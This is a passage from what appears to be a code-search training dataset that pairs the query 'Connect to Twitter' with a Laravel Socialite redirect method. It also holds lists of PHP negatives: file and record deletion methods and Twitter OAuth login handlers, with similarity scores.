(file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Connect to Twitter. Redirect the logged in user for entry into Twitter.
public function redirectToProvider() { if (!Auth::check()) { return redirect('/'); } try { return Socialite::driver('twitter')->redirect(); } catch (\Exception $e) { return redirect()->route('twitter.error'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function redirectToConnectPage()\n\t{\n\t\t/* Reset api to ensure user is not logged in */\n\t\t$this->resetApi();\n\t\t\n\t\t/* Append OAUTH URL */\n\t\t$_urlExtra = '';\n\t\t$key = '';\n\t\t\n\t\t/* From registration/log in? */\n\t\tif ( ! $this->memberData['member_id'] AND $this->request['_reg'] )\n\t\t{\n\t\t\t/* Create validating account for the member */\n\t\t\t$key = md5( uniqid( microtime() ) );\n\t\t\t\n\t\t\t/* Append URL with correct member ID and other params */\n\t\t\t$_urlExtra = '&_reg=1&key=' . $key;\n\t\t}\n\t\t\n\t\t/* Generate oAuth token */\n\t\t$rToken = $this->_api->getRequestToken( OAUTH_CALLBACK . $_urlExtra );\n\t\t\t\t\n\t\tif ( $rToken['oauth_token'] AND $rToken['oauth_token_secret'] )\n\t\t{\n\t\t\t/* From registration? */\n\t\t\tif ( $_urlExtra )\n\t\t\t{\n\t\t\t\t/* Create validating account for the member */\n\t\t\t\t$this->DB->insert( 'twitter_connect', array( 't_key'\t=> $key,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_token' => $rToken['oauth_token'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_secret' => $rToken['oauth_token_secret'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 't_time' => time() ) );\n\t\t\t}\n\n\t\t\t/* Update user's row */\n\t\t\tif ( $this->memberData['member_id'] )\n\t\t\t{\n\t\t\t\tIPSMember::save( $this->memberData['member_id'], array( 'core' => array( 'twitter_token' => $rToken['oauth_token'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'twitter_secret' => $rToken['oauth_token_secret'] ) ) );\n\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \n\t\t\tif ( $this->_api->http_code == 200 )\n\t\t\t{\n\t\t\t\t$url = $this->_api->getAuthorizeURL( $rToken['oauth_token'] );\n \t\t\t$this->registry->output->silentRedirect( $url );\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tprint \"There was an error connecting to Twitter\";\n\t\t\t\texit();\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t/* Twitter application is not set up correctly */\n\t\t\t$this->registry->output->showError( 'twitter_app_error', 0.717734 );\n\t\t}\n\t}", "public function redirectToTwitter()\n\t{\n\t return Socialize::with('twitter')->redirect();\n\t}", "public function redirect() {\n\t\t$this->load->library('twconnect');\n\n\t\t/* twredirect() parameter - callback point in your application */\n\t\t/* by default the path from config file will be used */\n\t\t$ok = $this->twconnect->twredirect('twtest/callback');\n\n\t\tif (!$ok) {\n\t\t\techo 'Could not connect to Twitter. Refresh the page or try again later.';\n\t\t}\n\t}", "public function redirectToTwitter() {\n return Socialite::driver('twitter')->redirect();\n }", "public function redirectToTwitter()\n {\n return Socialite::driver('twitter')->redirect();\n }", "public function twitter()\n\t{\n\t\t$this->load->library('twitter/twitter');\n\n\t\t// Try to authenticate\n\t\t$auth = $this->twitter->oauth($this->settings->item('twitter_consumer_key'), $this->settings->item('twitter_consumer_key_secret'), $this->user->twitter_access_token, $this->user->twitter_access_token_secret);\n\n\t\tif ($auth!=1 && $this->settings->item('twitter_consumer_key') && $this->settings->item('twitter_consumer_key_secret'))\n\t\t{\n\t\t\tif (isset($auth['access_token']) && !empty($auth['access_token']) && isset($auth['access_token_secret']) && !empty($auth['access_token_secret']))\n\t\t\t{\n\t\t\t\t// Save the access tokens to the users profile\n\t\t\t\t$this->ion_auth->update_user($this->user->id, array(\n\t\t\t\t\t'twitter_access_token' \t\t => $auth['access_token'],\n\t\t\t\t\t'twitter_access_token_secret' => $auth['access_token_secret'],\n\t\t\t\t));\n\n\t\t\t\tif (isset($_GET['oauth_token']) )\n\t\t\t\t{\n\t\t\t\t\t$parts = explode('?', $_SERVER['REQUEST_URI']);\n\n\t\t\t\t\t// redirect the user since we've saved their info\n\t\t\t\t\tredirect($parts[0]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telseif ($auth == 1) {\n\t\t\tredirect('edit-settings', 'refresh');\n\t\t}\n\t}", "public function twitterAction()\n {\n if(!($userInfo = Mage::getSingleton('customer/session')\n ->getInchooSocialconnectTwitterUserinfo())) {\n $userInfo = Mage::getSingleton('rootinfo_socialconnect/twitter_userinfo')\n ->getUserInfo();\n \n Mage::getSingleton('customer/session')->setInchooSocialconnectTwitterUserinfo($userInfo);\n }\n \n Mage::register('rootinfo_socialconnect_twitter_userinfo', $userInfo);\n \n $this->loadLayout();\n $this->renderLayout();\n }", "public function twitterAction()\r\n {\r\n if(!($userInfo = Mage::getSingleton('customer/session')\r\n ->getSocialLogonTwitterUserinfo()) || !$userInfo->hasData()) {\r\n \r\n $userInfo = Mage::getSingleton('SocialLogon/twitter_info_user')\r\n ->load();\r\n\r\n Mage::getSingleton('customer/session')\r\n ->setSocialLogonTwitterUserinfo($userInfo);\r\n }\r\n\r\n Mage::register('SocialLogon_twitter_userinfo', $userInfo);\r\n\r\n $this->loadLayout();\r\n $this->renderLayout();\r\n }", "public function twitter_connect() {\n $profile = $this->params['profile'];\n $merchant_id = $this->params['merchant_id'];\n $account_dbobj = $this->params['account_dbobj'];\n\n $twitter_user = new TwitterUser($account_dbobj);\n $twitter_user->findOne('id='.$merchant_id);\n $twitter_user->setProfileImageUrl($profile['profile_image_url']);\n $twitter_user->setUrl($profile['url']);\n $twitter_user->setLocation($profile['location']);\n $twitter_user->setName($profile['name']);\n $twitter_user->setScreenName($profile['screen_name']);\n $twitter_user->setId($profile['id']);\n $twitter_user->save();\n\n $merchant = new Merchant($account_dbobj);\n BaseMapper::saveAssociation($merchant, $twitter_user, $account_dbobj);\n\n $this->status = 0;\n }", "public function twitter_signin()\r\n\t{\r\n\t\t// Enabling debug will show you any errors in the calls you're making, e.g:\r\n\t\t$this->tweet->enable_debug(false);\r\n\t\t\r\n\t\t// If you already have a token saved for your user\r\n\t\t// (In a db for example) - See line #37\r\n\t\t// \r\n\t\t// You can set these tokens before calling logged_in to try using the existing tokens.\r\n\t\t// $tokens = array('oauth_token' => 'foo', 'oauth_token_secret' => 'bar');\r\n\t\t// $this->tweet->set_tokens($tokens);\r\n\t\tif ( !$this->tweet->logged_in() )\r\n\t\t{\r\n\t\t\t// This is where the url will go to after auth. (Callback url)\r\n\t\t\t$this->tweet->set_callback(site_url('auth_other/twitter_signin'));\r\n\t\t\t\r\n\t\t\t// Send the user off for login!\r\n\t\t\t$this->tweet->login();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t// check if the user is in the DB already\r\n\t\t\t$twitter_user = $this->tweet->call('get', 'account/verify_credentials');\r\n\t\t\tif( !($user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id'))) \r\n\t\t\t{\r\n\t\t\t\t// create the user\r\n\t\t\t\t$password = generate_password(9, 8);\r\n\t\t\t\t$this->tank_auth->create_user($twitter_user->screen_name . $twitter_user->id, $twitter_user->screen_name . $twitter_user->id, $password, false);\r\n\t\t\t\t$user = $this->generic_model->get_where_single_row('users', array('username' => $twitter_user->screen_name . $twitter_user->id));\r\n\t\t\t \t\r\n\t\t\t \t// update the user profile table\r\n\t\t\t\t$tokens = $this->tweet->get_tokens();\r\n\t\t\t\t$this->generic_model->update('user_profiles', \r\n\t\t\t\t\t\t\t\t\t\t \t array('twitter_id' => $twitter_user->id, \r\n\t\t\t\t\t\t\t\t\t\t \t \t 'display_name' => $twitter_user->screen_name,\r\n\t\t\t\t\t\t\t\t\t\t \t \t 'twitter_access_token' => $tokens['oauth_token'], \r\n\t\t\t\t\t\t\t\t\t\t \t \t 'twitter_access_token_secret' => $tokens['oauth_token_secret'], \r\n\t\t\t\t\t\t\t\t\t\t \t 'profile_image' => $twitter_user->profile_image_url), \r\n\t\t\t\t\t\t\t\t\t\t \t array('user_id' => $user->id));\r\n\t\t\t\t$user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id');\r\n\t\t\t\t$this->tank_auth_login($user);\r\n\t\t\t\tredirect('member/member_location', 'redirect');\t\t\t\t\t\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t$user = $this->member_model->get_user_by_sm(array('twitter_id' => $twitter_user->id), 'twitter_id');\r\n\t\t\t\t\r\n\t\t\t\t// if the profile image url is set to gravatar, then update to twitter profile pic\r\n\t\t\t\tif( strpos($user->profile_image, 'gravatar') !== false ) {\r\n\t\t\t\t\t$this->generic_model->update('user_profiles', array('profile_image' => $twitter_user->profile_image_url), array('user_id' => $user->id));\r\n\t\t\t\t\t$user->profile_image = $twitter_user->profile_image_url;\r\n\t\t\t\t}\r\n\t\t\t\t// if twitter access token is empty, then save it\r\n\t\t\t\tif( $user->twitter_access_token == '' || $user->twitter_access_token_secret == '') {\r\n\t\t\t\t\t$tokens = $this->tweet->get_tokens();\r\n\t\t\t\t\t$this->generic_model->update('user_profiles', \r\n\t\t\t\t\t\t\t\t\t\t\t\t array('twitter_access_token' => $tokens['oauth_token'], 'twitter_access_token_secret' => $tokens['oauth_token_secret']), \r\n\t\t\t\t\t\t\t\t\t\t\t\t array('user_id' => $user->id));\r\n\t\t\t\t}\r\n\t\t\t\t// user signs in and go to the login page\r\n\t\t\t\t$this->tank_auth_login($user);\r\n\t\t\t\tredirect('auth', 'refresh');\r\n\t\t\t}\r\n\t\t}\t\t\r\n\t}", "public function twitterEnterAction() {\n //get the translator object\n $translator = $this->get('translator');\n //get the request object\n $request = $this->getRequest();\n //get the session object\n $session = $request->getSession();\n //get the oauth token from the session\n $oauth_token = $session->get('oauth_token', FALSE);\n //get the oauth token secret from the session\n $oauth_token_secret = $session->get('oauth_token_secret', FALSE);\n //get the twtiter id from the session\n $twitterId = $session->get('twitterId', FALSE);\n //get the screen name from the session\n $screen_name = $session->get('screen_name', FALSE);\n //check if we got twitter data\n if ($oauth_token && $oauth_token_secret && $twitterId && $screen_name) {\n //get the entity manager\n $em = $this->getDoctrine()->getManager();\n //check if the user twitter id is in our database\n $user = $em->getRepository('ObjectsUserBundle:SocialAccounts')->getUserWithRolesByTwitterId($twitterId);\n //check if we found the user\n if ($user) {\n //get the social accounts object object\n $socialAccounts = $user->getSocialAccounts();\n //user found check if the access tokens have changed\n if ($socialAccounts->getOauthToken() != $oauth_token) {\n //tokens changed update the tokens\n $socialAccounts->setOauthToken($oauth_token);\n $socialAccounts->setOauthTokenSecret($oauth_token_secret);\n //save the new access tokens\n $em->flush();\n }\n //try to login the user\n try {\n // create the authentication token\n $token = new UsernamePasswordToken($user, null, 'main', $user->getRoles());\n // give it to the security context\n $this->get('security.context')->setToken($token);\n //redirect the user\n return $this->redirectUserAction();\n } catch (\\Exception $e) {\n //set the error flag in the session\n $session->getFlashBag()->set('error', $translator->trans('twitter connection error') . ' <a href=\"' . $this->generateUrl('twitter_authentication', array('redirectRoute' => 'twitter_enter')) . '\">' . $translator->trans('try again') . '</a>');\n //can not reload the user object log out the user\n $this->get('security.context')->setToken(null);\n //invalidate the current user session\n $session->invalidate();\n //redirect to the login page\n return $this->redirect($this->generateUrl('login'));\n }\n }\n //create a new user object\n $user = new User();\n //create an email form\n $form = $this->createFormBuilder($user, array(\n 'validation_groups' => array('email')\n ))\n ->add('email', 'repeated', array(\n 'type' => 'email',\n 'first_name' => 'Email',\n 'second_name' => 'ReEmail',\n 'invalid_message' => \"The emails don't match\",\n ))\n ->getForm();\n //check if this is the user posted his data\n if ($request->getMethod() == 'POST') {\n //fill the form data from the request\n $form->handleRequest($request);\n //check if the form values are correct\n if ($form->isValid()) {\n //get the container object\n $container = $this->container;\n //get the user object from the form\n $user = $form->getData();\n //request additional user data from twitter\n $content = TwitterController::getCredentials($container->getParameter('consumer_key'), $container->getParameter('consumer_secret'), $oauth_token, $oauth_token_secret);\n //check if we got the user data\n if ($content) {\n //get the name parts\n $name = explode(' ', $content->name);\n if (!empty($name[0])) {\n $user->setFirstName($name[0]);\n }\n if (!empty($name[1])) {\n $user->setLastName($name[1]);\n }\n //set the additional data\n $user->setUrl($content->url);\n //set the about text\n $user->setAbout($content->description);\n //try to download the user image from twitter\n $image = TwitterController::downloadTwitterImage($content->profile_image_url, $user->getUploadRootDir());\n //check if we got an image\n if ($image) {\n //add the image to the user\n $user->setImage($image);\n }\n }\n //create social accounts object\n $socialAccounts = new SocialAccounts();\n $socialAccounts->setOauthToken($oauth_token);\n $socialAccounts->setOauthTokenSecret($oauth_token_secret);\n $socialAccounts->setTwitterId($twitterId);\n $socialAccounts->setScreenName($screen_name);\n $socialAccounts->setUser($user);\n //set the user twitter info\n $user->setSocialAccounts($socialAccounts);\n //check if we need to set a login name\n if ($container->getParameter('login_name_required')) {\n //set a valid login name\n $user->setLoginName($this->suggestLoginName($screen_name));\n }\n //user data are valid finish the signup process\n return $this->finishSignUp($user);\n }\n }\n return $this->render('ObjectsUserBundle:User:twitter_signup.html.twig', array(\n 'form' => $form->createView()\n ));\n } else {\n //something went wrong clear the session and set a flash to try again\n $session->clear();\n //set the error flag in the session\n $session->getFlashBag()->set('error', $translator->trans('twitter connection error') . ' <a href=\"' . $this->generateUrl('twitter_authentication', array('redirectRoute' => 'twitter_enter')) . '\">' . $translator->trans('try again') . '</a>');\n //twitter data not found go to the login page\n return $this->redirect($this->generateUrl('login', array(), TRUE));\n }\n }", "public function handleTwitterCallback() {\n \n try {\n $google = Socialite::driver('twitter')->user();\n } \n catch (Exception $e) {\n return redirect('/');\n }\n\n $user = User::where('twitter_id', $google->getId())->first();\n\n if (!$user) {\n $user = User::create([\n 'google_id' => $google->getId(),\n 'username' => $google->getName(),\n 'email' => $google->getEmail(),\n 'password' => bcrypt($google->getId()),\n 'avatar' => $google->getAvatar(),\n 'users_status_id' => 1,\n 'users_role_id' => 3 \n ]);\n }\n\n auth()->login($user);\n #return redirect()->to('/home'); \n return redirect()->intended($this->socialRedirectTo);\n }", "public function authenticate()\n\t{\n\t\t$consumer = Consumer::make($this->config);\n\t\t\n\t\t// Load the provider\n\t\t$provider = Provider::make($this->provider);\n\t\t\n\t\t// Create the URL to return the user to\n\t\t$callback = array_get($this->config, 'callback') ?: \\URL::to(\\Config::get('oneauth::urls.callback', 'connect/callback'));\n\t\t$callback = rtrim($callback, '/').'/'.$this->provider;\n\t\t\n\t\t// Add the callback URL to the consumer\n\t\t$consumer->callback($callback); \n\n\t\t// Get a request token for the consumer\n\t\t$token = $provider->request_token($consumer);\n\n\t\t// Store the token\n\t\t\\Cookie::put('oauth_token', base64_encode(serialize($token)));\n\n\t\t// Redirect to the twitter login page\n\t\treturn \\Redirect::to($provider->authorize_url($token, array(\n\t\t\t'oauth_callback' => $callback,\n\t\t)));\n\t}", "public function redirect()\n {\n return Socialite::driver('twitter')->redirect();\n }", "public function loginWithTwitter() {\n $token = Input::get( 'oauth_token' );\n $verify = Input::get( 'oauth_verifier' );\n\n // get twitter service\n $tw = OAuth::consumer( 'Twitter' );\n\n // check if code is valid\n\n // if code is provided get user data and sign in\n if ( !empty( $token ) && !empty( $verify ) ) {\n\n // This was a callback request from twitter, get the token\n $token = $tw->requestAccessToken( $token, $verify );\n\n // Send a request with it\n $result = json_decode( $tw->request( 'account/verify_credentials.json' ), true );\n\n $message = 'Your unique Twitter user id is: ' . $result['id'] . ' and your name is ' . $result['name'];\n echo $message. \"<br/>\";\n\n //Var_dump\n //display whole array().\n dd($result);\n\n }\n // if not ask for permission first\n else {\n // get request token\n $reqToken = $tw->requestRequestToken();\n\n // get Authorization Uri sending the request token\n $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n // return to twitter login url\n return Redirect::to( (string)$url );\n }\n }", "public function redirect()\n {\n $token = 'fMFqRVTKyA1LwCTFQR1VESfug';\n $secret = 'YQCtWeMkab5UB3AALwOeLSQAGs4eq6DHkOHi6gbiYqoAdGbbPz';\n $user = Socialite::driver('twitter')->userFromTokenAndSecret($token, $secret);\n return $user;\n }", "public function oauthTwitter() {\n\n\t // get data from input\n\t $token = Input::get( 'oauth_token' );\n\t $verify = Input::get( 'oauth_verifier' );\n\n\t // get twitter service\n\t $tw = OAuth::consumer( 'Twitter' );\n\n\t // check if code is valid\n\n\t // if code is provided get user data and sign in\n\t if ( !empty( $token ) && !empty( $verify ) ) {\n\n\t // This was a callback request from twitter, get the token\n\t $token = $tw->requestAccessToken( $token, $verify );\n\n\t // Send a request with it\n\t $response = json_decode( $tw->request( 'account/verify_credentials.json' ), true );\n\n\t // dd($result);\n\n\t // check if user already exists\n\t $user_id = $this->getUserIdGivenSocialId('twitter', (string)$response['id_str']);\n\n\t if($user_id) {\n\n\t \t// user already exists, sign them in\n\t \tAuth::login($user_id);\n\t\t\t\treturn Redirect::back();\n\t \n\t\t\t} else {\n\n\t\t\t\t// put google data into session var for use later\n\t\t\t\t$this->packSocialData('twitter', $response['id'], $response['screen_name'], null, null, 1);\n\n\t\t\t\t// send user to account create screen\n\t\t\t\treturn Redirect::to('users/create');\n\t\t }\n\n\n\t }\n\t // if not ask for permission first\n\t else {\n\t // get request token\n\t $reqToken = $tw->requestRequestToken();\n\n\t // get Authorization Uri sending the request token\n\t $url = $tw->getAuthorizationUri(array('oauth_token' => $reqToken->getRequestToken()));\n\n\t // return to twitter login url\n\t return Redirect::to( (string)$url );\n\t }\n\t}", "public function handleProviderCallback()\n {\n $twitterUser = Socialite::driver('twitter')->user();\n\n $user = User::firstOrCreate([\n 'twitter_id' => $twitterUser->id,\n ], [\n 'nickname' => $twitterUser->nickname,\n 'name' => $twitterUser->name,\n 'email' => $twitterUser->email,\n 'twitter_token' => $twitterUser->token,\n 'twitter_secret' => $twitterUser->tokenSecret,\n ]);\n\n $user->update([\n 'twitter_token' => $twitterUser->token,\n 'twitter_secret' => $twitterUser->tokenSecret,\n ]);\n\n Auth::login($user);\n\n return redirect('tweets');\n }", "function do_oauth($callback)\r\n\t{\r\n\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret);\r\n\r\n\t\t/* Get temporary credentials. */\r\n\t\t$request_token = $connection->getRequestToken($callback);\r\n\r\n\t\t/* Save temporary credentials to session. */\r\n\t\t$_SESSION['oauth_token'] = $token = $request_token['oauth_token'];\r\n\t\t$_SESSION['oauth_token_secret'] = $request_token['oauth_token_secret'];\r\n\r\n\t\t/* If last connection failed don't display authorization link. */\r\n\t\tswitch ($connection->http_code) {\r\n\t\t\tcase 200:\r\n\t\t\t\t/* Build authorize URL and redirect user to Twitter. */\r\n\t\t\t\t$url = $connection->getAuthorizeURL($token);\r\n\t\t\t\theader('Location: ' . $url);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t\t\t/* Show notification if something went wrong. */\r\n\t\t\t\techo 'Could not connect to Twitter. Refresh the page or try again later.';\r\n\t\t}\r\n\t}", "private function checkLogin() {\n if (!$this->checkConfig()) return;\n $config = $this->getConfig();\n\n if (isset($_SESSION['signin/twitter/status']) && $_SESSION['signin/twitter/status']=='verified') {\n\n $screenname = $_SESSION['signin/twitter/request_vars']['screen_name'];\n $twitterid = $_SESSION['signin/twitter/request_vars']['user_id'];\n $oauth_token = $_SESSION['signin/twitter/request_vars']['oauth_token'];\n $oauth_token_secret = $_SESSION['signin/twitter/request_vars']['oauth_token_secret'];\n\n $connection = new TwitterOAuth($config['consumer_key'], $config['consumer_secret'], $oauth_token, $oauth_token_secret);\n\n // check if we already have this Twitter user in our database\n $user = UserQuery::create()->findOneByOAuthSignIn('twitter::' . $twitterid);\n if (!$user) {\n // if not we create a new one\n $user = new User();\n $user->setCreatedAt(time());\n $user->setOAuthSignIn('twitter::' . $twitterid);\n // we use the email field to store the twitterid\n $user->setEmail('');\n $user->setRole(UserPeer::ROLE_EDITOR); // activate user rigth away\n $user->setName($screenname);\n $user->setSmProfile('https://twitter.com/'.$screenname);\n $user->save();\n }\n DatawrapperSession::login($user);\n }\n }", "public function handleTwitterCallback(Request $request) {\n if (!Auth::check()) {\n return $this->abort(\"404\", ['request' => $request, 'code' => '404']);\n }\n if ($request->has('oauth_token')) {\n $user = Socialite::driver('twitter')->user();\n $session = Session::get('SOCIAL_USER');\n $social = new SocialLogin();\n //$social->checkSetUser($user, \"twitter\");\n\n Auth::user()->twitter_login_id = $user->id;\n Auth::user()->twitter_info = serialize($user);\n Auth::user()->update();\n $this->twitterdata();\n return redirect(\"/\");\n //return redirect(\"/\");\n } else {\n Session::flash(\"GLOBAL_ERROR\", \"Authentication failed from Twitter login\");\n }\n }", "function twitter_oauth_callback() {\n if (isset($_GET['denied']) || empty($_GET['oauth_token'])) {\n drupal_set_message(t('The connection to Twitter failed. Please try again.'), 'error');\n global $user;\n if ($user->uid) {\n // User is logged in, was attempting to OAuth a Twitter account.\n drupal_goto('admin/config/services/twitter');\n }\n else {\n // Anonymous user, redirect to front page.\n drupal_goto('<front>');\n }\n }\n $form_state['values']['oauth_token'] = $_GET['oauth_token'];\n drupal_form_submit('twitter_oauth_callback_form', $form_state);\n}", "public function redirectToTwitter(Request $request) {\n// if (!Auth::check()) {\n// return $this->abort(\"404\", ['request' => $request, 'code' => '404']);\n// }\n return Socialite::driver('twitter')->redirect();\n }", "private function twitterAuth()\n {\n \t//Load the app/Vendor/twitter/twitteroauth/twitteroauth.php\n \tApp::import('Vendor', 'twitter', array('file' => 'twitter' . DS . 'twitteroauth' . DS . 'twitteroauth.php'));\n \n \t//Get user access tokens from bootstrap.\n \t$oauth_token = Configure::read('oauth_token');\n \t$oauth_token_secret = Configure::read('oauth_token_secret');\n \n \t//get conmsumer key, consumer secret key\n \t$consumer_key = Configure::read('CONSUMER_KEY');\n \t$consumer_secret = Configure::read('CONSUMER_SECRET');\n \n \t//Create a TwitterOauth object with consumer/user tokens.\n \t$connection = new TwitterOAuth( $consumer_key, $consumer_secret, $oauth_token, $oauth_token_secret );\n \treturn $connection;\n }", "public function redirectToProvider()\n {\n return Socialite::driver('twitter')->redirect();\n }", "public function actionTwitterCallback()\n {\n session_start();\n require_once('protected/vendors/twitteroauth-master/twitteroauth/twitteroauth.php');\n require_once('protected/vendors/twitteroauth-master/config.php');\n\n /* If the oauth_token is old redirect to the connect page. */\n if (isset($_REQUEST['oauth_token']) && $_SESSION['oauth_token'] !== $_REQUEST['oauth_token']) {\n $_SESSION['oauth_status'] = 'oldtoken';\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n return true;\n\n }\n\n if (!isset($_REQUEST['oauth_verifier']))\n {\n echo \"ok\";\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n return true;\n }\n\n /* Create TwitteroAuth object with app key/secret and token key/secret from default phase */\n $connection = new TwitterOAuth(CONSUMER_KEY, CONSUMER_SECRET, $_SESSION['oauth_token'], $_SESSION['oauth_token_secret']);\n\n /* Request access tokens from twitter */\n $access_token = $connection->getAccessToken($_REQUEST['oauth_verifier']);\n\n /* Save the access tokens. Normally these would be saved in a database for future use. */\n $_SESSION['access_token'] = $access_token;\n\n \n\n /* Remove no longer needed request tokens */\n unset($_SESSION['oauth_token']);\n unset($_SESSION['oauth_token_secret']);\n\n /* If HTTP response is 200 continue otherwise send to connect page to retry */\n if (200 == $connection->http_code) {\n /* The user has been verified and the access tokens can be saved for future use */\n $_SESSION['status'] = 'verified';\n\n $user = $connection->get('account/verify_credentials');\n $this->GuardarEnBD($user->name,$access_token[\"oauth_token_secret\"]);\n \n } else \n {\n /* Save HTTP status for error dialog on connnect page.*/\n unset($_SESSION['access_token']);\n $urlIni = Yii::app()->createUrl(\"\");\n header(\"Location: $urlIni\");\n }\n }", "public function login(){\n\t\t\t if(isset($_GET['oauth_token'])){\n\t\t\t\t\t// create a new twitter connection object with request token\n\t\t\t\t\t$connection = new TwitterOAuth($this->consumer_key, $this->consumer_secret, $_SESSION['request_token'], $_SESSION['request_token_secret']);\n\t\t\t\t\t// get the access token from getAccesToken method\n\t\t\t\t\t$access_token = 